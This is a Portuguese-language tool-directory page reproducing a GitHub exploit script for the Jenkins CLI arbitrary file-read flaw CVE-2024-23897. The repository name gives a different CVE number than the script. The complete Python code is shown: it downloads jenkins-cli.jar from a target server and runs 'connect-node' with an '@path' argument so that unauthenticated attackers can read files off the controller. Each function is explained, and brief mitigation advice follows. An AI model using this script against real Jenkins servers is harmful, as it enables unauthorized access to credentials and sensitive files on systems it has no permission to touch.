Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/i-100-user/cve-2024-25897
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebColeta de InformaçõesTestes de Penetração
GitHubi-100-user/cve-2024-25897

CVE-2024-25897

exploit que explora Jenkins feito em Python

Ver Repositório
21há 2 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

banner

img1

parâmetros ip , puerto , ruta

img2

saída do exploit

img3

Painel de ajuda

explicação do exploit

Aqui está a explicação do código em Markdown:

Explicação do Código

Este script foi projetado para explorar uma vulnerabilidade específica no Jenkins (CVE-2024-23897). Ele permite baixar um arquivo JAR de um servidor Jenkins e executar um payload para conectar um nó Jenkins. A seguir, explicamos cada parte do código:

Importação de Módulos

root@kitploit:~
import argparse
import requests
import os
import subprocess
import sys
Baixar ferramenta
  • argparse: Para lidar com argumentos de linha de comando.
  • requests: Para fazer solicitações HTTP.
  • os: Para interagir com o sistema operacional.
  • subprocess: Para executar comandos do sistema.
  • sys: Para interagir com o interpretador Python.

Função banner

root@kitploit:~
def banner():
    """
    Imprime un banner decorativo para la herramienta.
    """
    text = """
   ______     _______     ____   ___ ____  _  _        ____  _____  ___  ___ _____       _            _    _           
  / ___\ \   / / ____|   |___ \ / _ \___ \| || |      |___ \|___ / ( _ )/ _ \___  |     | | ___ _ __ | | _(_)_ __  ___ 
 | |    \ \ / /|  _| _____ __) | | | |__) | || |_ _____ __) | |_ \ / _ \ (_) | / /   _  | |/ _ \ '_ \| |/ / | '_ \/ __|
 | |___  \ V / | |__|_____/ __/| |_| / __/|__   _|_____/ __/ ___) | (_) \__, |/ /   | |_| |  __/ | | |   <| | | | \__|
  \____|  \_/  |_____|   |_____|\___/_____|  |_|      |_____|____/ \___/  /_//_/     \___/ \___|_| |_|_|\_\_|_| |_|___/
 """
    print(text)

Esta função imprime um banner decorativo no início do script.

Função descargar_jar

root@kitploit:~
def descargar_jar(ip, puerto):
    """
    Descarga el archivo jenkins-cli.jar desde el servidor Jenkins especificado.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.

    Returns:
        bool: True si la descarga fue exitosa, False en caso contrario.
    """
    url = f"http://{ip}:{puerto}/jnlpJars/jenkins-cli.jar"
    try:
        response = requests.get(url)
        if response.status_code == 200:
            with open('jenkins-cli.jar', 'wb') as archivo_jar:
                archivo_jar.write(response.content)
            return True
        else:
            print(f"\n[-] No se pudo descargar el archivo. Código de estado: {response.status_code}")
            return False
    except requests.RequestException as errorhttp:
        print(f"\n[-] Error al realizar la solicitud: {errorhttp}")
        return False

Esta função baixa o arquivo jenkins-cli.jar do servidor Jenkins especificado pelo endereço IP e porta. Se o download for bem-sucedido, salva o arquivo no sistema e retorna True; caso contrário, retorna False.

Função attack_payload

root@kitploit:~
def attack_payload(ip, puerto, ruta):
    """
    Ejecuta el payload para conectar un nodo Jenkins.

    Args:
        ip (str): Dirección IP del servidor Jenkins.
        puerto (str): Puerto del servidor Jenkins.
        ruta (str): Ruta para leer el archivo.
    """
    archivo_jar = "jenkins-cli.jar"
    payload = f"java -jar {archivo_jar} -s http://{ip}:{puerto}/ -http connect-node @{ruta}"
    try:
        subprocess.run(payload, shell=True, check=True)
        os.remove(archivo_jar)
    except subprocess.CalledProcessError as error_payload:
        print(f"\n[-] Error al intentar conectar el nodo: {error_payload}\n")

Esta função executa um comando para conectar um nó Jenkins usando o arquivo jenkins-cli.jar. Após executar o comando, remove o arquivo JAR. Se houver um erro na execução, exibe uma mensagem de erro.

Função main

root@kitploit:~
def main():
    """
    Función principal que analiza los argumentos y ejecuta las funciones correspondientes.
    """
    parser = argparse.ArgumentParser(description="\n[+] Exploit para explotar el CVE-2024-23897\n")
    parser.add_argument("ip", type=str, help="\n[+] Dirección IP del servidor Jenkins\n")
    parser.add_argument("puerto", type=str, help="\n[+] Puerto del servidor de Jenkins\n")
    parser.add_argument("ruta", type=str, help="\n[+] Ruta para leer el archivo\n")
    args = parser.parse_args()

    ip = args.ip
    puerto = args.puerto
    ruta = args.ruta

    banner()

    if descargar_jar(ip, puerto):
        attack_payload(ip, puerto, ruta)
    else:
        sys.exit(1)

A função principal do script:

  1. Analisa os argumentos de linha de comando (ip, puerto, ruta).
  2. Chama a função banner para imprimir o banner.
  3. Chama a função descargar_jar para baixar o arquivo JAR.
  4. Se o download for bem-sucedido, chama a função attack_payload para executar o payload; caso contrário, finaliza o script com um código de saída 1.

Execução do Script

root@kitploit:~
if __name__ == '__main__':
    main()

Este bloco garante que a função main seja executada apenas se o script for executado diretamente, não se for importado como módulo.

Resumo

Este script é uma ferramenta para explorar uma vulnerabilidade no Jenkins. Ele baixa um arquivo JAR de um servidor Jenkins e usa esse arquivo para executar um payload que conecta um nó Jenkins. Os argumentos necessários (ip, puerto, ruta) são fornecidos por meio da linha de comando.

Aqui está uma lista das bibliotecas necessárias junto com os comandos pip install para cada uma:

Bibliotecas Necessárias

  • argparse: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.

  • requests: Para fazer solicitações HTTP.

    root@kitploit:~
    pip install requests
    
  • os: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.

  • subprocess: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.

  • sys: Esta biblioteca está incluída na biblioteca padrão do Python, portanto não é necessário instalá-la.

Instalação de Bibliotecas

root@kitploit:~
pip install requests

O CVE-2024-23897 é uma vulnerabilidade presente no Jenkins, uma popular ferramenta de automação e CI/CD. Esta vulnerabilidade afeta o Jenkins nas versões 2.441 e anteriores, bem como nas versões LTS 2.426.2 e anteriores.

Descrição da vulnerabilidade:

  • Função afetada: Analisador de comandos CLI do Jenkins.
  • Problema: Não desabilita uma função que permite substituir um caractere '@' seguido de um caminho de arquivo em um argumento pelo conteúdo desse arquivo.
  • Impacto: Permite que atacantes não autenticados leiam arquivos arbitrários no sistema de arquivos do controlador Jenkins.
  • Risco: Um atacante pode acessar informações sensíveis armazenadas no servidor Jenkins, o que pode levar a um comprometimento ainda maior do sistema.

Exemplo de exploração:

  1. Um atacante envia um comando CLI para o Jenkins que inclui @/ruta/del/archivo.
  2. O analisador de comandos do Jenkins interpreta @/ruta/del/archivo e substitui esse argumento pelo conteúdo do arquivo especificado.
  3. O atacante obtém o conteúdo do arquivo sem necessidade de autenticação.

Medidas de mitigação:

  • Atualizar o Jenkins: Instalar versões mais recentes que tenham corrigido essa vulnerabilidade.
  • Configurações de segurança: Revisar e restringir o acesso ao CLI do Jenkins, garantindo que apenas usuários autenticados e de confiança possam utilizar essa funcionalidade.

Atualizar e configurar adequadamente o Jenkins é crucial para proteger o sistema contra essa vulnerabilidade.

Python Ícone Linux